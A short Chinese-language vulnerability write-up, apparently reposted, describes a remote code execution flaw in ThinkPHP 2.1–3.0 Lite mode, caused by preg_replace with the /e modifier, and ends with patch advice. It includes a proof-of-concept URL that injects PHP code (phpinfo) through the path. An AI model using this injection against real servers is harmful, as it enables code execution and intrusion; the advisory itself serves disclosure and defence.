ThinkPHP 框架2.1,2.2和3.0版本開啟lite模式導致URL命令執行漏洞


在開啟了Lite模式后,在ThinkPHP/extend/Mode/Lite/Dispatcher.class.php中第73行:

// 解析剩余的URL參數
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']=“\\2\;”', implode($depr,$paths));

有兩點:一是加入了preg_replace使用了e修飾符,二是'$var[\'\\1\']="\\2\;"'中雙引號中的PHP代碼可以直接被執行。

比如:

http://localhost/index.php/Index/index/name/$%7B@phpinfo%28%29%7D

就會執行phpinfo()函數,打印出phpinfo頁。

預防:

官方已經給出了補丁,也可以自行將雙引號改成單引號防止PHP代碼被解析。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM